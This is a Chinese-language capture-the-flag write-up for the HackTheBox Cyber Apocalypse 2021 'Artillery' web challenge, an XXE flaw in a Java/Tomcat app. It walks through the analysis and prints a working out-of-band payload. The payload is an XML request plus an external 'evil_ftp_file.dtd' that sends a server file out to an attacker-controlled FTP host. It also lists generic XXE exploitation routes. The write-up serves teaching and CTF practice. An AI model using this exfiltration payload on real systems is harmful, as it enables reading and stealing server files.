大家好,我是BaCde,上周临时组队参与了HackTheBox组织的Cyber Apocalyps 2021的CTF比赛。今天主要写一下Web的Artillery,这是一道3星题(最难为4星),这是一道关于XXE利用的题,做出来的人相对很少,也花了不少时间,有些收获,这里写出来与大家分享。本文不介绍基础知识,如果要学习基础可以查看后面的推荐文章。
收集信息
此次的CTF题大部分都提供源代码,并提供有Dockerfile文件,可通过docker build构建并运行。通过源码可知源代码为Java语言。openjdk 1.8.181版本,Web Server为Tomcat10。
通过Web.xml可知访问路径。访问页面只有一个搜索功能,你访问页面并在搜索框随意输入内容,可看到具体发送的请求。使用Brup记录并转发到Repeater,后面测试用。这里是自己搭建的Docker环境,访问地址http://42.192.74.184:18888。
接下来查看源代码,具体业务实现的代码在Results.java中。功能就是接收POST提交的数据,先验证XML格式,然后在处理XML,最后解析的内容进入到数据库查询,返回结果。结合web.xml文件可知请求的路径就是上面的搜索功能了。
漏洞探测
代码看上去基本都做了过滤处理,唯一一处就是第31行,允许file协议 。尝试读取一下/etc/passwd文件,发现报错,而且无法显示文件内容。尝试其他协议都会被拒绝。想来也不会这么简单。思路如下:
- 尝试file://url/看是否可以外连。
- 尝试jar:file://path!/xmlpath 这样的路径。
- 利用系统自带的一些dtd。
- 利用unix的socket文件。
通过file://这样的方式可以发现发起了DNS请求,但是未收到HTTP的请求。这说明可以进行网络通信。而jar协议是支持的,找了几个路径,发现都利用失败了。而第三种,通过查看Dockerfile文件发现对系统自带的dtd文件都删掉了。第四种也没想到具体该如何利用。在测试过程中也可以注意到一个细节,就是在validate的那段代码,报错后是直接return的,如果validate通过,那么会进入下面的解析代码,导致无法利用。
这里一度没有任何进展。重新梳理思路,回头继续看第一个,仔细查看了报错信息,有一个地方吸引了我,可以发现报错主要是FTP连接错误,这就解释为什么没有http请求了,因为是FTP协议。
获取Flag
使用vsftpd搭建FTP服务,启用匿名访问,防火墙端口全放开。最开始就是因为防火墙没开放(pasv模式的关系),导致传输文件失败,耗了不少时间。通过FTP的方式,发现确实可以将文件内容带出来,但是/etc/passwd的文件内容只有一行。后来修改了一下payload,直接将Flag.java文件通过报错的方式显示出来。
payload如下:
POST /search HTTP/1.1
Host: 42.192.74.184:18888
Content-Length: 131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: http://42.192.74.184:18888
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Connection: close
<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "file://42.192.74.184/evil_ftp_file.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>
evil_ftp_file.dtd内容:
<!ENTITY % d SYSTEM "file:///tomcat/webapps/ROOT/WEB-INF/classes/Flag.java">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'file://%d;另外一个ftp服务地址/%d;'>">
总结
从此次解题可确定在openjdk 1.8.181环境下,使用Validator
并允许file协议时对xml进行validate时可以发起ftp请求,同时也支持jar协议。其他环境大家可自行测试。
其利用方式有如下几种:
- 在这样的情况下可利用ftp外带dtd读取任意文件。
- 在没有删除本地dtd或xml文件情况下,可利用本地的dtd、xml文件进行利用。
- 利用jar协议,通过加载jar中的xml或dtd文件进行利用。
一些资料推荐
- Blind XXE attacks – Out of band interaction Techniques (OAST) to exfilterate data
- XXE-DTD-Finder
- Spilling Local Files via XXE when HTTP OOB fails
- XXE : From Zero to Hero
- Advanced XXE Exploitation
- Misconfigurations in Java XML Parsers
- XXE payloads for specific DTDs
- Exploiting XXE with local DTD files
- Automating local DTD discovery for XXE exploitation